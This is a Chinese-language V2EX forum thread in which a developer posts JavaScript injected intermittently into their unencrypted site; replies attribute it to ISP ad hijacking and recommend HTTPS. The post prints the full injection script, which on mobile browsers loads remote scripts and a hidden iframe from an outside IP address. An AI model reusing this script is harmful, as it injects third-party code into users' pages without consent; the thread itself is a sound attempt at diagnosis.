V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
推荐关注
Meteor
JSLint - a JavaScript code quality tool
jsFiddle
D3.js
WebStorm
推荐书目
JavaScript 权威指南第 5 版
Closure: The Definitive Guide
Deville
V2EX  ›  JavaScript

这是被注入了个什么。。爬虫么。。?

  •  
  •   Deville · 2018-09-30 14:03:08 +08:00 · 3658 次点击
    这是一个创建于 2007 天前的主题,其中的信息可能已经有所发展或是发生改变。

    今天可怜的小测试反馈,外网地址偶尔会出现奇怪的代码,但刷新之后就没了,是偶现的。我看了下,只能看懂他貌似遍历了下 <script> 和 <div>,但还是没搞懂他的真正用途以及有什么危害,V 站大神帮忙讨论一下。具体代码如下(没做个前端,看不懂 js。。但按照习惯理了理格式。。):</p> <pre><code>( function(){ function h() { return /(Android|iPhone|iPad|iPod)/ i.test(navigator.userAgent)? !0 : !1 } function k(a) { var c=document.createElement("script");c.type="text/javascript";c.src=a;document.getElementsByTagName("head")[0].insertBefore(c,null) } for(var b=document.getElementsByTagName("script"),n=/http:\/\/[a-z0-9.]*:10028\/js\/commo[\S]*.js/,e={},g=0; g<b.length; g++) if(n.test(b[g].src)) { b[g].src.split("?")[1].split("&").forEach(function(a,c){a=a.split("=");e[a[0]]=a[1]}); break } randNum2=parseInt(100*Math.random()); randNum3=parseInt(100*Math.random()); !0===h()&&(65<=randNum3&&k("http://47.100.7.38:10028/js/mccc-tc.d.en.js?hash=bd&id="+e.a),28>=randNum3&&k("http://47.100.7.38:10028/js/mccc-tc.d.s.en.js?hash=bd&id="+e.a+"_st")); 50>randNum2&&!0===h()&&(b=document.createElement("div"),b.style.display="none",b.style.width="0px",b.style.height="0px",document.body.appendChild(b),b.innerHTML='<iframe src="http://47.100.7.38:10028/js/24h-hven-zz-all-new.html?a='+e.a+'"></iframe>'); var l=0, m=setInterval( function() { 30==l&&clearInterval(m); for(var a=document.getElementsByTagName("div"),c=/^http:\/\/[\S]+(yiqisee.cn|vveizi.com|xunworld.cn)\/([\w]+[_]?[\w]*\/?)+[\S]+/,d=0;d<a.length;d++) if(!0===h()) { if(a[d].style.position||"fixed"==a[d].style.position) { var b="fixed"==a[d].style.position?!0:!1; var e=999<=a[d].style.zIndex?!0:!1; var f="0px"==a[d].style.bottom?!0:0>=a[d].style.bottom?!0:!1 } else f=window.getComputedStyle(a[d]), b="fixed"==f.position?!0:!1, e=999<=f.zIndex?!0:!1, f=0>=parseInt(f.bottom)?!0:!1; if(0<a[d].getElementsByTagName("iframe").length && !0===c.test(a[d].getElementsByTagName("iframe")[0].src)) return; if(b&&e&&f) { a=logjs+"?f=ad"; c=document.createElement("script"); c.type="text/javascript"; c.async=!0; c.src=a; document.getElementsByTagName("head")[0].insertBefore(c,null); clearInterval(m); return } } l++ },300) } </code></pre> <p>)();</p> </script>

    11 条回复    2018-09-30 15:40:15 +08:00
    yunye
        1
    yunye  
       2018-09-30 14:06:24 +08:00
    运营商注入的广告吧
    Telegram
        2
    Telegram  
       2018-09-30 14:07:46 +08:00 via iPhone
    同一楼
    Deville
        3
    Deville  
    OP
       2018-09-30 14:09:16 +08:00
    @yunye 奥奥奥,针对运营商的劫持是不是
    yunye
        4
    yunye  
       2018-09-30 14:14:42 +08:00   ❤️ 1
    @Deville 运营商看你们这也没用 https,就好心帮你们放点广告什么的,他自己赚点小钱
    locoz
        5
    locoz  
       2018-09-30 14:22:12 +08:00
    看起来只是广告
    Deville
        6
    Deville  
    OP
       2018-09-30 14:22:59 +08:00
    @yunye 47.100.7.38:10028 这个 IP 不是我们的,,,(虽然我们确实没上 https。。
    但我还是很好奇那两个 for 循环 以及 那个正则干了什么事儿。。
    drydiy
        7
    drydiy  
       2018-09-30 14:32:33 +08:00
    关键词 iframe
    应该是内嵌广告了。
    Deville
        8
    Deville  
    OP
       2018-09-30 14:35:11 +08:00
    @drydiy 但为啥没显示出来呢。。而是首次访问会显示这段代码,刷新后正常显示网页内容
    opengps
        9
    opengps  
       2018-09-30 14:44:46 +08:00
    就是运营商注入的广告,以前用长宽时候,本地访问我网站,都能给我加上广告,解决办法是上 https,让传输过程变成密文
    miyuki
        10
    miyuki  
       2018-09-30 15:02:17 +08:00
    @Deville

    不是 针对运营商的劫持
    是 运营商针对你的劫持
    。。
    Deville
        11
    Deville  
    OP
       2018-09-30 15:40:15 +08:00
    @miyuki 啊。。嘻嘻嘻。。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   2889 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 33ms · UTC 11:21 · PVG 19:21 · LAX 04:21 · JFK 07:21
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.